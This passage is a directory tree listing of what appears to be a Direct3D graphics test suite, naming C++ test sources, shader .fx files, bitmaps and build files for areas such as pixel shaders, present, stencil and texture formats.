    │               │           │   │   texture11_2.bmp
    │               │           │   │   texture14.bmp
    │               │           │   │   texture2.bmp
    │               │           │   │   texture2_2.bmp
    │               │           │   │   texture6.bmp
    │               │           │   │   
    │               │           │   └───original
    │               │           │           sources
    │               │           │           
    │               │           ├───mvertex
    │               │           │   │   default.cpp
    │               │           │   │   kitContent.kml
    │               │           │   │   mvertex.cpp
    │               │           │   │   mvertex.h
    │               │           │   │   mvertex.rc
    │               │           │   │   mvertex.vcproj
    │               │           │   │   
    │               │           │   └───original
    │               │           │           sources
    │               │           │           
    │               │           ├───nonpowtwo
    │               │           │   │   addtestcases.cpp
    │               │           │   │   alphablendtestvariable.cpp
    │               │           │   │   displacementtestmatrix.cpp
    │               │           │   │   displacementtestmatrix.h
    │               │           │   │   filtertestvariable.cpp
    │               │           │   │   globals.cpp
    │               │           │   │   kitContent.kml
    │               │           │   │   mipmaplodbias.cpp
    │               │           │   │   nonpowtwo.rc
    │               │           │   │   nonpowtwoconftest.cpp
    │               │           │   │   nonpowtwoconftest.h
    │               │           │   │   nonpowtwostresstest.cpp
    │               │           │   │   nonpowtwostresstest.h
    │               │           │   │   nonpowtwotest.cpp
    │               │           │   │   nonpowtwotest.h
    │               │           │   │   rendertargettest.cpp
    │               │           │   │   rendertargettest.h
    │               │           │   │   spheretree.cpp
    │               │           │   │   spheretree.h
    │               │           │   │   testcasestruct.h
    │               │           │   │   testmatrix.h
    │               │           │   │   tests.txt
    │               │           │   │   testvariable.h
    │               │           │   │   textureaddressingmode.cpp
    │               │           │   │   texturefunctions.cpp
    │               │           │   │   textureoptestvariable.cpp
    │               │           │   │   texturesizetestvariable.cpp
    │               │           │   │   vshadertestvariable.cpp
    │               │           │   │   wraptestvariable.cpp
    │               │           │   │   
    │               │           │   ├───media
    │               │           │   │       env1.bmp
    │               │           │   │       env2.bmp
    │               │           │   │       tex0.bmp
    │               │           │   │       tex1.bmp
    │               │           │   │       tex2.bmp
    │               │           │   │       window.bmp
    │               │           │   │       
    │               │           │   └───original
    │               │           │           sources
    │               │           │           
    │               │           ├───Occlusion
    │               │           │       Makefile
    │               │           │       Occlusion.cpp
    │               │           │       Occlusion.hpp
    │               │           │       Occlusion.rc
    │               │           │       sources
    │               │           │       
    │               │           ├───overdraw
    │               │           │       alpha.cpp
    │               │           │       alphagrid.cpp
    │               │           │       kitContent.kml
    │               │           │       overdraw.cpp
    │               │           │       overdraw.h
    │               │           │       overdraw.rc
    │               │           │       sources
    │               │           │       
    │               │           ├───palalpha
    │               │           │       kitContent.kml
    │               │           │       palalpha.cpp
    │               │           │       palalpha.h
    │               │           │       palalpha.rc
    │               │           │       palalpha.vcproj
    │               │           │       palutils.cpp
    │               │           │       palutils8.cpp
    │               │           │       sources
    │               │           │       
    │               │           ├───pc99
    │               │           │   │   dirs
    │               │           │   │   
    │               │           │   ├───multitexture
    │               │           │   │       kitContent.kml
    │               │           │   │       multi.cpp
    │               │           │   │       multi.h
    │               │           │   │       multi.rc
    │               │           │   │       multi.vcproj
    │               │           │   │       multi.vcproj.vspscc
    │               │           │   │       sources
    │               │           │   │       
    │               │           │   ├───specular
    │               │           │   │   │   kitContent.kml
    │               │           │   │   │   sources
    │               │           │   │   │   specular.cpp
    │               │           │   │   │   specular.h
    │               │           │   │   │   specular.rc
    │               │           │   │   │   
    │               │           │   │   └───media
    │               │           │   │           256x256smallchecker.bmp
    │               │           │   │           
    │               │           │   └───texturesizes
    │               │           │           kitContent.kml
    │               │           │           sizes.cpp
    │               │           │           sizes.h
    │               │           │           sizes.rc
    │               │           │           sources
    │               │           │           
    │               │           ├───perspective
    │               │           │   │   color.cpp
    │               │           │   │   drawmesh.cpp
    │               │           │   │   kitContent.kml
    │               │           │   │   perspective.cpp
    │               │           │   │   perspective.h
    │               │           │   │   perspective.rc
    │               │           │   │   texture.cpp
    │               │           │   │   
    │               │           │   └───original
    │               │           │           sources
    │               │           │           
    │               │           ├───pointsprite
    │               │           │   │   attenfvfl.cpp
    │               │           │   │   attenfvfls.cpp
    │               │           │   │   batch.cpp
    │               │           │   │   caps.cpp
    │               │           │   │   cull.cpp
    │               │           │   │   fill.cpp
    │               │           │   │   kitContent.kml
    │               │           │   │   mipmap.cpp
    │               │           │   │   path.cpp
    │               │           │   │   path.h
    │               │           │   │   scalefvfl.cpp
    │               │           │   │   scalefvfls.cpp
    │               │           │   │   scalefvftl.cpp
    │               │           │   │   scalefvftls.cpp
    │               │           │   │   sprite.cpp
    │               │           │   │   sprite.h
    │               │           │   │   sprite.rc
    │               │           │   │   transform.cpp
    │               │           │   │   user.cpp
    │               │           │   │   volume.cpp
    │               │           │   │   
    │               │           │   └───original
    │               │           │           sources
    │               │           │           
    │               │           ├───present
    │               │           │       cpresenttest.cpp
    │               │           │       cpresenttest.h
    │               │           │       kitContent.kml
    │               │           │       resource.rc
    │               │           │       sources
    │               │           │       texture.bmp
    │               │           │       
    │               │           ├───present2
    │               │           │   │   BB1.bmp
    │               │           │   │   BB2.bmp
    │               │           │   │   BB3.bmp
    │               │           │   │   BB4.bmp
    │               │           │   │   bitmap1.bmp
    │               │           │   │   clippingwindows.cpp
    │               │           │   │   clippingwindows.h
    │               │           │   │   clippingwindowsFlipEx.cpp
    │               │           │   │   clippingwindowsFlipEx.h
    │               │           │   │   colorconverting.cpp
    │               │           │   │   colorconverting.h
    │               │           │   │   colorconvertingFlipEx.cpp
    │               │           │   │   colorconvertingFlipEx.h
    │               │           │   │   dialogboxmode.cpp
    │               │           │   │   dialogboxmode.h
    │               │           │   │   dirs
    │               │           │   │   dirtyregion.cpp
    │               │           │   │   dirtyregion.h
    │               │           │   │   dirtyregionFlipEx.cpp
    │               │           │   │   dirtyregionFlipEx.h
    │               │           │   │   fullscreenpresent.cpp
    │               │           │   │   fullscreenpresent.h
    │               │           │   │   gammapresent.cpp
    │               │           │   │   gammapresent.h
    │               │           │   │   lake.bmp
    │               │           │   │   lock_donotwait.cpp
    │               │           │   │   lock_donotwait.h
    │               │           │   │   multiheadpresent.cpp
    │               │           │   │   multiheadpresent.h
    │               │           │   │   present.cpp
    │               │           │   │   present.h
    │               │           │   │   Present2_DX_EXEEntryPoint.cpp
    │               │           │   │   Present2_EXEEntryPoint.cpp
    │               │           │   │   Present2_Fullscreen_EXEEntryPoint.cpp
    │               │           │   │   Present2_LH_EXEEntryPoint.cpp
    │               │           │   │   presentdonotwait.cpp
    │               │           │   │   presentdonotwait.h
    │               │           │   │   presentex.cpp
    │               │           │   │   presentex.h
    │               │           │   │   presentFlipEx.cpp
    │               │           │   │   presentFlipEx.h
    │               │           │   │   presentii.rc
    │               │           │   │   presentinterval.cpp
    │               │           │   │   presentinterval.h
    │               │           │   │   presentintervalFullScreen.h
    │               │           │   │   presentintervalWindowed.h
    │               │           │   │   presentintervalWindowedFlipEx.cpp
    │               │           │   │   presentintervalWindowedFlipEx.h
    │               │           │   │   presentintervalWindowedFlipExFlags.cpp
    │               │           │   │   presentintervalWindowedFlipExFlags.h
    │               │           │   │   presentrotate.cpp
    │               │           │   │   presentrotate.h
    │               │           │   │   resource.h
    │               │           │   │   sources.inc
    │               │           │   │   
    │               │           │   ├───Present2_Clip
    │               │           │   │       deviceclip.cpp
    │               │           │   │       deviceclip.h
    │               │           │   │       deviceclipFlipEx.cpp
    │               │           │   │       deviceclipFlipEx.h
    │               │           │   │       EXEEntryPoint.cpp
    │               │           │   │       sources
    │               │           │   │       
    │               │           │   ├───Present2_Core
    │               │           │   │       kitContent.kml
    │               │           │   │       sources
    │               │           │   │       
    │               │           │   ├───Present2_DX
    │               │           │   │       sources
    │               │           │   │       
    │               │           │   ├───Present2_FullScreen
    │               │           │   │       kitContent.kml
    │               │           │   │       sources
    │               │           │   │       
    │               │           │   ├───Present2_LH
    │               │           │   │       kitContent.kml
    │               │           │   │       sources
    │               │           │   │       
    │               │           │   └───Present2_Lib
    │               │           │           Node.h
    │               │           │           presentii.cpp
    │               │           │           presentii.h
    │               │           │           sources
    │               │           │           
    │               │           ├───pshader
    │               │           │   │   address.cpp
    │               │           │   │   dstmod.cpp
    │               │           │   │   kitContent.kml
    │               │           │   │   legacy.cpp
    │               │           │   │   limits.cpp
    │               │           │   │   opmod.cpp
    │               │           │   │   pshader.cpp
    │               │           │   │   pshader.h
    │               │           │   │   pshader.rc
    │               │           │   │   readshader.cpp
    │               │           │   │   register.cpp
    │               │           │   │   sources
    │               │           │   │   srcmod.cpp
    │               │           │   │   vertshader.cpp
    │               │           │   │   
    │               │           │   └───media
    │               │           │           bem1.bmp
    │               │           │           bem2.bmp
    │               │           │           bem3.bmp
    │               │           │           checker.bmp
    │               │           │           checker2.bmp
    │               │           │           colorchecker.bmp
    │               │           │           dp3.bmp
    │               │           │           dxlogo.bmp
    │               │           │           shady.txt
    │               │           │           skyxneg.bmp
    │               │           │           skyxpos.bmp
    │               │           │           skyyneg.bmp
    │               │           │           skyypos.bmp
    │               │           │           skyzneg.bmp
    │               │           │           skyzpos.bmp
    │               │           │           
    │               │           ├───pshader3
    │               │           │   │   core.rc
    │               │           │   │   Detail.png
    │               │           │   │   GroundCover.bmp
    │               │           │   │   include.fx
    │               │           │   │   inst_add.fx.prep
    │               │           │   │   inst_crs.fx.prep
    │               │           │   │   inst_dp2add.fx.prep
    │               │           │   │   inst_dpn.fx.prep
    │               │           │   │   inst_exp.fx.prep
    │               │           │   │   inst_log.fx.prep
    │               │           │   │   inst_lrp.fx.prep
    │               │           │   │   inst_mad.fx.prep
    │               │           │   │   inst_mnxn.fx.prep
    │               │           │   │   inst_nrm.fx.prep
    │               │           │   │   inst_pow.fx.prep
    │               │           │   │   inst_rcp.fx.prep
    │               │           │   │   inst_rsq.fx.prep
    │               │           │   │   inst_setp.fx.prep
    │               │           │   │   inst_sincos.fx.prep
    │               │           │   │   kitContent.kml
    │               │           │   │   landcolors.png
    │               │           │   │   landscape.cpp
    │               │           │   │   prep.py
    │               │           │   │   pshader.cpp
    │               │           │   │   pshader.h
    │               │           │   │   pshader.prep
    │               │           │   │   pshader.py
    │               │           │   │   PShader1x.cpp
    │               │           │   │   RockCover.bmp
    │               │           │   │   Rockmask.png
    │               │           │   │   sources
    │               │           │   │   Starburst.cpp
    │               │           │   │   water.png
    │               │           │   │   
    │               │           │   ├───ps1.x
    │               │           │   │       ps1_xcube_inst_tex.fx
    │               │           │   │       ps1_xtex_inst_tex.fx
    │               │           │   │       ps1_xtex_inst_texcoord.fx
    │               │           │   │       ps1_xtex_inst_texld.fx
    │               │           │   │       ps1_xtex_inst_texregn.fx
    │               │           │   │       ps1_xvol_inst_tex.fx
    │               │           │   │       ps1_x_inst_add.fx
    │               │           │   │       ps1_x_inst_cmp.fx
    │               │           │   │       ps1_x_inst_cnd.fx
    │               │           │   │       ps1_x_inst_colorclamp.fx
    │               │           │   │       ps1_x_inst_dpn.fx
    │               │           │   │       ps1_x_inst_lrp.fx
    │               │           │   │       ps1_x_inst_mad.fx
    │               │           │   │       ps1_x_inst_mul.fx
    │               │           │   │       ps1_x_inst_texkill.fx
    │               │           │   │       
    │               │           │   ├───ps2.0
    │               │           │   │       Landscape_ps2_0.fx
    │               │           │   │       ps2_0cube_inst_texld.fx
    │               │           │   │       ps2_0cube_inst_texldb.fx
    │               │           │   │       ps2_0cube_inst_texldp.fx
    │               │           │   │       ps2_0tex_inst_texld.fx
    │               │           │   │       ps2_0tex_inst_texldb.fx
    │               │           │   │       ps2_0tex_inst_texldp.fx
    │               │           │   │       ps2_0vol_inst_texld.fx
    │               │           │   │       ps2_0vol_inst_texldb.fx
    │               │           │   │       ps2_0vol_inst_texldp.fx
    │               │           │   │       ps2_0_inst_abs.fx
    │               │           │   │       ps2_0_inst_add.fx
    │               │           │   │       ps2_0_inst_cmp.fx
    │               │           │   │       ps2_0_inst_crs.fx
    │               │           │   │       ps2_0_inst_dp2add.fx
    │               │           │   │       ps2_0_inst_dpN.fx
    │               │           │   │       ps2_0_inst_exp.fx
    │               │           │   │       ps2_0_inst_frc.fx
    │               │           │   │       ps2_0_inst_log.fx
    │               │           │   │       ps2_0_inst_lrp.fx
    │               │           │   │       ps2_0_inst_mad.fx
    │               │           │   │       ps2_0_inst_max.fx
    │               │           │   │       ps2_0_inst_min.fx
    │               │           │   │       ps2_0_inst_mnxn.fx
    │               │           │   │       ps2_0_inst_mul.fx
    │               │           │   │       ps2_0_inst_nrm.fx
    │               │           │   │       ps2_0_inst_pow.fx
    │               │           │   │       ps2_0_inst_rcp.fx
    │               │           │   │       ps2_0_inst_rsq.fx
    │               │           │   │       ps2_0_inst_sincos.fx
    │               │           │   │       ps2_0_inst_texkill.fx
    │               │           │   │       ps2_0_precision.fx
    │               │           │   │       starburst_ps2_0.fx
    │               │           │   │       
    │               │           │   ├───ps2.x
    │               │           │   │       ps2_xcube_inst_texld.fx
    │               │           │   │       ps2_xcube_inst_texldb.fx
    │               │           │   │       ps2_xcube_inst_texldp.fx
    │               │           │   │       ps2_xtex_inst_dsx_dsy.fx
    │               │           │   │       ps2_xtex_inst_texld.fx
    │               │           │   │       ps2_xtex_inst_texldb.fx
    │               │           │   │       ps2_xtex_inst_texldd.fx
    │               │           │   │       ps2_xtex_inst_texldp.fx
    │               │           │   │       ps2_xvol_inst_dsx_dsy.fx
    │               │           │   │       ps2_xvol_inst_texld.fx
    │               │           │   │       ps2_xvol_inst_texldb.fx
    │               │           │   │       ps2_xvol_inst_texldd.fx
    │               │           │   │       ps2_xvol_inst_texldp.fx
    │               │           │   │       ps2_x_inst_abs.fx
    │               │           │   │       ps2_x_inst_add.fx
    │               │           │   │       ps2_x_inst_break.fx
    │               │           │   │       ps2_x_inst_breakc.fx
    │               │           │   │       ps2_x_inst_breakp.fx
    │               │           │   │       ps2_x_inst_call.fx
    │               │           │   │       ps2_x_inst_callnz.fx
    │               │           │   │       ps2_x_inst_callnzp.fx
    │               │           │   │       ps2_x_inst_cmp.fx
    │               │           │   │       ps2_x_inst_crs.fx
    │               │           │   │       ps2_x_inst_dp2add.fx
    │               │           │   │       ps2_x_inst_dpn.fx
    │               │           │   │       ps2_x_inst_exp.fx
    │               │           │   │       ps2_x_inst_frc.fx
    │               │           │   │       ps2_x_inst_if.fx
    │               │           │   │       ps2_x_inst_ifc.fx
    │               │           │   │       ps2_x_inst_ifp.fx
    │               │           │   │       ps2_x_inst_log.fx
    │               │           │   │       ps2_x_inst_lrp.fx
    │               │           │   │       ps2_x_inst_mad.fx
    │               │           │   │       ps2_x_inst_max.fx
    │               │           │   │       ps2_x_inst_min.fx
    │               │           │   │       ps2_x_inst_mnxn.fx
    │               │           │   │       ps2_x_inst_mov.fx
    │               │           │   │       ps2_x_inst_mul.fx
    │               │           │   │       ps2_x_inst_nrm.fx
    │               │           │   │       ps2_x_inst_pow.fx
    │               │           │   │       ps2_x_inst_predicatemov.fx
    │               │           │   │       ps2_x_inst_rcp.fx
    │               │           │   │       ps2_x_inst_rsq.fx
    │               │           │   │       ps2_x_inst_setp.fx
    │               │           │   │       ps2_x_inst_sincos.fx
    │               │           │   │       ps2_x_inst_texkill.fx
    │               │           │   │       ps2_x_precision.fx
    │               │           │   │       
    │               │           │   └───ps3.0
    │               │           │           ps3_0cube_inst_texld.fx
    │               │           │           ps3_0cube_inst_texldb.fx
    │               │           │           ps3_0cube_inst_texldl.fx
    │               │           │           ps3_0cube_inst_texldp.fx
    │               │           │           ps3_0cube_swizzles.fx
    │               │           │           ps3_0cube_writemasks.fx
    │               │           │           ps3_0tex_inst_dsx_dsy.fx
    │               │           │           ps3_0tex_inst_texld.fx
    │               │           │           ps3_0tex_inst_texldb.fx
    │               │           │           ps3_0tex_inst_texldd.fx
    │               │           │           ps3_0tex_inst_texldl.fx
    │               │           │           ps3_0tex_inst_texldp.fx
    │               │           │           ps3_0tex_swizzles.fx
    │               │           │           ps3_0tex_writemasks.fx
    │               │           │           ps3_0vol_inst_dsx_dsy.fx
    │               │           │           ps3_0vol_inst_texld.fx
    │               │           │           ps3_0vol_inst_texldb.fx
    │               │           │           ps3_0vol_inst_texldd.fx
    │               │           │           ps3_0vol_inst_texldl.fx
    │               │           │           ps3_0vol_inst_texldp.fx
    │               │           │           ps3_0vol_swizzles.fx
    │               │           │           ps3_0vol_writemasks.fx
    │               │           │           ps3_0_dbgerror.fx
    │               │           │           ps3_0_inst_add.fx
    │               │           │           ps3_0_inst_break.fx
    │               │           │           ps3_0_inst_breakc.fx
    │               │           │           ps3_0_inst_breakp.fx
    │               │           │           ps3_0_inst_call.fx
    │               │           │           ps3_0_inst_callnz.fx
    │               │           │           ps3_0_inst_callnzp.fx
    │               │           │           ps3_0_inst_cmp.fx
    │               │           │           ps3_0_inst_crs.fx
    │               │           │           ps3_0_inst_dp2add.fx
    │               │           │           ps3_0_inst_dpn.fx
    │               │           │           ps3_0_inst_exp.fx
    │               │           │           ps3_0_inst_frc.fx
    │               │           │           ps3_0_inst_if.fx
    │               │           │           ps3_0_inst_ifc.fx
    │               │           │           ps3_0_inst_ifp.fx
    │               │           │           ps3_0_inst_log.fx
    │               │           │           ps3_0_inst_loop.fx
    │               │           │           ps3_0_inst_lrp.fx
    │               │           │           ps3_0_inst_mad.fx
    │               │           │           ps3_0_inst_max.fx
    │               │           │           ps3_0_inst_min.fx
    │               │           │           ps3_0_inst_mnxn.fx
    │               │           │           ps3_0_inst_mul.fx
    │               │           │           ps3_0_inst_nrm.fx
    │               │           │           ps3_0_inst_pow.fx
    │               │           │           ps3_0_inst_predicatemov.fx
    │               │           │           ps3_0_inst_rcp.fx
    │               │           │           ps3_0_inst_rep.fx
    │               │           │           ps3_0_inst_rsq.fx
    │               │           │           ps3_0_inst_setp.fx
    │               │           │           ps3_0_inst_sincos.fx
    │               │           │           ps3_0_inst_texkill.fx
    │               │           │           ps3_0_mix_repcall.fx
    │               │           │           ps3_0_precision.fx
    │               │           │           ps3_0_reg_aL.fx
    │               │           │           ps3_0_reg_vFace.fx
    │               │           │           ps3_0_reg_vPos.fx
    │               │           │           
    │               │           ├───reschk
    │               │           │       kitContent.kml
    │               │           │       Main.cpp
    │               │           │       reschk.cpp
    │               │           │       reschk.h
    │               │           │       reschk.rc
    │               │           │       reschk_cube.cpp
    │               │           │       reschk_ib.cpp
    │               │           │       reschk_surface.cpp
    │               │           │       reschk_texture.cpp
    │               │           │       reschk_vb.cpp
    │               │           │       reschk_volume.cpp
    │               │           │       sources
    │               │           │       
    │               │           ├───resman
    │               │           │       basictest.cpp
    │               │           │       changecolorstest.cpp
    │               │           │       checkcolors.cpp
    │               │           │       checkdxcaps.cpp
    │               │           │       default.cpp
    │               │           │       discardbytestest.cpp
    │               │           │       listtest.cpp
    │               │           │       lrutest.cpp
    │               │           │       mrutest.cpp
    │               │           │       resman.cpp
    │               │           │       resman.h
    │               │           │       resman.rc
    │               │           │       resourcesforbasictest.cpp
    │               │           │       resourcesgenerationfunctions.cpp
    │               │           │       sources
    │               │           │       
    │               │           ├───scenario
    │               │           │   │   kitContent.kml
    │               │           │   │   scenario.cpp
    │               │           │   │   scenario.h
    │               │           │   │   scenario.rc
    │               │           │   │   
    │               │           │   ├───media
    │               │           │   │       checker1.bmp
    │               │           │   │       checker128.bmp
    │               │           │   │       checker16.bmp
    │               │           │   │       checker2.bmp
    │               │           │   │       checker256.bmp
    │               │           │   │       checker32.bmp
    │               │           │   │       checker4.bmp
    │               │           │   │       checker64.bmp
    │               │           │   │       checker8.bmp
    │               │           │   │       dxlogo.bmp
    │               │           │   │       luminance.bmp
    │               │           │   │       stripes.bmp
    │               │           │   │       
    │               │           │   └───original
    │               │           │           sources
    │               │           │           
    │               │           ├───srt
    │               │           │   │   buffer.cpp
    │               │           │   │   describe.cpp
    │               │           │   │   invalid.cpp
    │               │           │   │   kitContent.kml
    │               │           │   │   null.cpp
    │               │           │   │   offscreen.cpp
    │               │           │   │   srt.cpp
    │               │           │   │   srt.h
    │               │           │   │   srt.rc
    │               │           │   │   texture.cpp
    │               │           │   │   
    │               │           │   └───original
    │               │           │           sources
    │               │           │           
    │               │           ├───stateblocks
    │               │           │   │   checker.bmp
    │               │           │   │   kitContent.kml
    │               │           │   │   main.cpp
    │               │           │   │   poko0.bmp
    │               │           │   │   poko1.bmp
    │               │           │   │   poko2.bmp
    │               │           │   │   poko3.bmp
    │               │           │   │   poko4.bmp
    │               │           │   │   poko5.bmp
    │               │           │   │   poko6.bmp
    │               │           │   │   poko7.bmp
    │               │           │   │   rocks.bmp
    │               │           │   │   statebeast.cpp
    │               │           │   │   statebeast.h
    │               │           │   │   statebeast.rc
    │               │           │   │   
    │               │           │   └───original
    │               │           │           sources
    │               │           │           
    │               │           ├───stencil
    │               │           │   │   cap.cpp
    │               │           │   │   clear.cpp
    │               │           │   │   clearccw.cpp
    │               │           │   │   cullone.cpp
    │               │           │   │   culltwo.cpp
    │               │           │   │   func.cpp
    │               │           │   │   funcccw.cpp
    │               │           │   │   ignore.cpp
    │               │           │   │   ignoreccw.cpp
    │               │           │   │   kitContent.kml
    │               │           │   │   op.cpp
    │               │           │   │   opccw.cpp
    │               │           │   │   scorrupt.cpp
    │               │           │   │   scorruptccw.cpp
    │               │           │   │   stencil.cpp
    │               │           │   │   stencil.h
    │               │           │   │   stencil.rc
    │               │           │   │   Stencil.vcproj
    │               │           │   │   Stencil.vcproj.vspscc
    │               │           │   │   zcorrupt.cpp
    │               │           │   │   zcorruptccw.cpp
    │               │           │   │   
    │               │           │   └───original
    │               │           │           sources
    │               │           │           
    │               │           ├───stretchrect
    │               │           │   │   auxiliary.cpp
    │               │           │   │   auxiliary.h
    │               │           │   │   dims.cpp
    │               │           │   │   dims.h
    │               │           │   │   dx5_logo.bmp
    │               │           │   │   dxfilter.cpp
    │               │           │   │   dxfilter.h
    │               │           │   │   dxfmt.cpp
    │               │           │   │   dxfmt.h
    │               │           │   │   dxmultisample.cpp
    │               │           │   │   dxmultisample.h
    │               │           │   │   dxpool.cpp
    │               │           │   │   dxpool.h
    │               │           │   │   dxusage.cpp
    │               │           │   │   dxusage.h
    │               │           │   │   kitContent.kml
    │               │           │   │   lake.bmp
    │               │           │   │   lake.dds
    │               │           │   │   rects.cpp
    │               │           │   │   rects.h
    │               │           │   │   resource.h
    │               │           │   │   StretchRect.sln
    │               │           │   │   StretchRect.vcproj
    │               │           │   │   stretchrectdepthstencil.cpp
    │               │           │   │   stretchrectdepthstencil.h
    │               │           │   │   stretchrectkeepstates.cpp
    │               │           │   │   stretchrectkeepstates.h
    │               │           │   │   stretchrecttest.cpp
    │               │           │   │   stretchrecttest.h
    │               │           │   │   stretchrecttest.rc
    │               │           │   │   stretchrecttestmain.cpp
    │               │           │   │   stretchrecttestmain.h
    │               │           │   │   surfacetypes.cpp
    │               │           │   │   surfacetypes.h
    │               │           │   │   tex.bmp
    │               │           │   │   
    │               │           │   └───original
    │               │           │           sources
    │               │           │           
    │               │           ├───subpixel
    │               │           │   │   drawgrid.cpp
    │               │           │   │   kitContent.kml
    │               │           │   │   subpixel.cpp
    │               │           │   │   subpixel.h
    │               │           │   │   subpixel.rc
    │               │           │   │   
    │               │           │   └───original
    │               │           │           sources
    │               │           │           
    │               │           ├───tessellation
    │               │           │       datatypesntest.cpp
    │               │           │       datatypesrecttest.cpp
    │               │           │       datatypestritest.cpp
    │               │           │       default.cpp
    │               │           │       kitContent.kml
    │               │           │       maxminrecttest.cpp
    │               │           │       maxmintritest.cpp
    │               │           │       minimizingrecttest.cpp
    │               │           │       minimizingtritest.cpp
    │               │           │       minmaxntest.cpp
    │               │           │       minntest.cpp
    │               │           │       npatchestest.cpp
    │               │           │       ntest.cpp
    │               │           │       rectpatchestest.cpp
    │               │           │       sources
    │               │           │       tessellation.cpp
    │               │           │       tessellation.h
    │               │           │       tessellation.rc
    │               │           │       tessfactorrecttest.cpp
    │               │           │       tessfactortritest.cpp
    │               │           │       tessfntest.cpp
    │               │           │       tex.bmp
    │               │           │       tripatchestest.cpp
    │               │           │       vertexstructdefs.h
    │               │           │       
    │               │           ├───texformats
    │               │           │   │   compare.cpp
    │               │           │   │   drawgrid.cpp
    │               │           │   │   FloatPrecision.cpp
    │               │           │   │   floatprecision.h
    │               │           │   │   floattex.cpp
    │               │           │   │   floattex.fx
    │               │           │   │   fvf3.cpp
    │               │           │   │   fvf4.cpp
    │               │           │   │   kitContent.kml
    │               │           │   │   PackedRGB.cpp
    │               │           │   │   PackedRGB.fx
    │               │           │   │   print.cpp
    │               │           │   │   sysmem.cpp
    │               │           │   │   texformats.cpp
    │               │           │   │   texformats.h
    │               │           │   │   texformats.rc
    │               │           │   │   texformats.vcproj
    │               │           │   │   verify.cpp
    │               │           │   │   
    │               │           │   └───original
    │               │           │           sources
    │               │           │           
    │               │           ├───texload
    │               │           │       agp.cpp
    │               │           │       draw.cpp
    │               │           │       kitContent.kml
    │               │           │       manage.cpp
    │               │           │       sources
    │               │           │       system.cpp
    │               │           │       texload.cpp
    │               │           │       texload.h
    │               │           │       texload.rc
    │               │           │       video.cpp
    │               │           │       
    │               │           ├───texturestage3
    │               │           │   │   kitContent.kml
    │               │           │   │   sources
    │               │           │   │   texturestage3.cpp
    │               │           │   │   texturestage3.h
    │               │           │   │   texturestage3.rc
    │               │           │   │   texturestage3.vcproj
    │               │           │   │   tsstestcaseseightstage.cpp
    │               │           │   │   tsstestcasesfivestage.cpp
    │               │           │   │   tsstestcasesfourstage.cpp
    │               │           │   │   tsstestcasesonestage.cpp
    │               │           │   │   tsstestcasessevenstage.cpp
    │               │           │   │   tsstestcasessixstage.cpp
    │               │           │   │   tsstestcasesthreestage.cpp
    │               │           │   │   tsstestcasestwostage.cpp
    │               │           │   │   
    │               │           │   └───textures
    │               │           │           checker.bmp
    │               │           │           checker_highfreq.bmp
    │               │           │           colors_blend.bmp
    │               │           │           decoration.bmp
    │               │           │           decoration2.bmp
    │               │           │           dots1.bmp
    │               │           │           dxlogo.bmp
    │               │           │           dxlogo2.bmp
    │               │           │           dxlogo3.bmp
    │               │           │           dxlogo4.bmp
    │               │           │           dxlogo5.bmp
    │               │           │           dxlogo_bump.bmp
    │               │           │           dxlogo_bump2.bmp
    │               │           │           newts.bmp
    │               │           │           stage0.bmp
    │               │           │           stage1.bmp
    │               │           │           stage2.bmp
    │               │           │           stage3.bmp
    │               │           │           stage4.bmp
    │               │           │           stage5.bmp
    │               │           │           stage6.bmp
    │               │           │           stage7.bmp
    │               │           │           stage_all.bmp
    │               │           │           test.bmp
    │               │           │           text1.bmp
    │               │           │           text2.bmp
    │               │           │           text3.bmp
    │               │           │           text4.bmp
    │               │           │           text5.bmp
    │               │           │           text6.bmp
    │               │           │           winlogo.bmp
    │               │           │           winlogo2.bmp
    │               │           │           winlogo3.bmp
    │               │           │           win_logo_bump.bmp
    │               │           │           
    │               │           ├───tlvertexclip
    │               │           │       edge.cpp
    │               │           │       kitContent.kml
    │               │           │       quad.cpp
    │               │           │       sources
    │               │           │       tlvertexclip.cpp
    │               │           │       tlvertexclip.h
    │               │           │       tlvertexclip.rc
    │               │           │       
    │               │           ├───updatesurface
    │               │           │       auxiliary.cpp
    │               │           │       auxiliary.h
    │               │           │       dims.cpp
    │               │           │       dims.h
    │               │           │       dxfmt.cpp
    │               │           │       dxfmt.h
    │               │           │       dxmultisample.cpp
    │               │           │       dxmultisample.h
    │               │           │       dxpool.cpp
    │               │           │       dxpool.h
    │               │           │       dxusage.cpp
    │               │           │       dxusage.h
    │               │           │       kitContent.kml
    │               │           │       lake.bmp
    │               │           │       rects.cpp
    │               │           │       rects.h
    │               │           │       resource.h
    │               │           │       sources
    │               │           │       surfacetypes.cpp
    │               │           │       surfacetypes.h
    │               │           │       tex.bmp
    │               │           │       updatesurfacetest.cpp
    │               │           │       updatesurfacetest.rc
    │               │           │       updatesurfacetestmain.cpp
    │               │           │       updatesurfacetestmain.h
    │               │           │       
    │               │           ├───updatetexture
    │               │           │   │   Back0.bmp
    │               │           │   │   Back1.bmp
    │               │           │   │   Back2.bmp
    │               │           │   │   Back3.bmp
    │               │           │   │   Back4.bmp
    │               │           │   │   Back5.bmp
    │               │           │   │   Back6.bmp
    │               │           │   │   cbasetex.cpp
    │               │           │   │   ccubetex.cpp
    │               │           │   │   cmiptex.cpp
    │               │           │   │   cupdatetex.h
    │               │           │   │   cupdatetexbase.cpp
    │               │           │   │   cvoltex.cpp
    │               │           │   │   dxusage.cpp
    │               │           │   │   dxusage.h
    │               │           │   │   Fore0.bmp
    │               │           │   │   Fore1.bmp
    │               │           │   │   Fore2.bmp
    │               │           │   │   Fore3.bmp
    │               │           │   │   Fore4.bmp
    │               │           │   │   Fore5.bmp
    │               │           │   │   Fore6.bmp
    │               │           │   │   kitContent.kml
    │               │           │   │   resource.h
    │               │           │   │   testcases.cpp
    │               │           │   │   testcases.h
    │               │           │   │   updatetex.cpp
    │               │           │   │   updatetex.rc
    │               │           │   │   UtilFormats.cpp
    │               │           │   │   UtilFormats.h
    │               │           │   │   vtdraw.cpp
    │               │           │   │   vtmatrix.cpp
    │               │           │   │   vtmatrix.h
    │               │           │   │   vtmipvol.cpp
    │               │           │   │   vttestcases.cpp
    │               │           │   │   vtvolume.cpp
    │               │           │   │   vtvolume.h
    │               │           │   │   
    │               │           │   └───original
    │               │           │           sources
    │               │           │           
    │               │           ├───validator
    │               │           │   │   dirs
    │               │           │   │   
    │               │           │   ├───shadervalidator
    │               │           │   │   │   addresources.py
    │               │           │   │   │   cinclude.cpp
    │               │           │   │   │   cinclude.h
    │               │           │   │   │   cshadervalidator.cpp
    │               │           │   │   │   cshadervalidator.h
    │               │           │   │   │   main.cpp
    │               │           │   │   │   shadervalidator.rc
    │               │           │   │   │   sources
    │               │           │   │   │   
    │               │           │   │   └───testcases
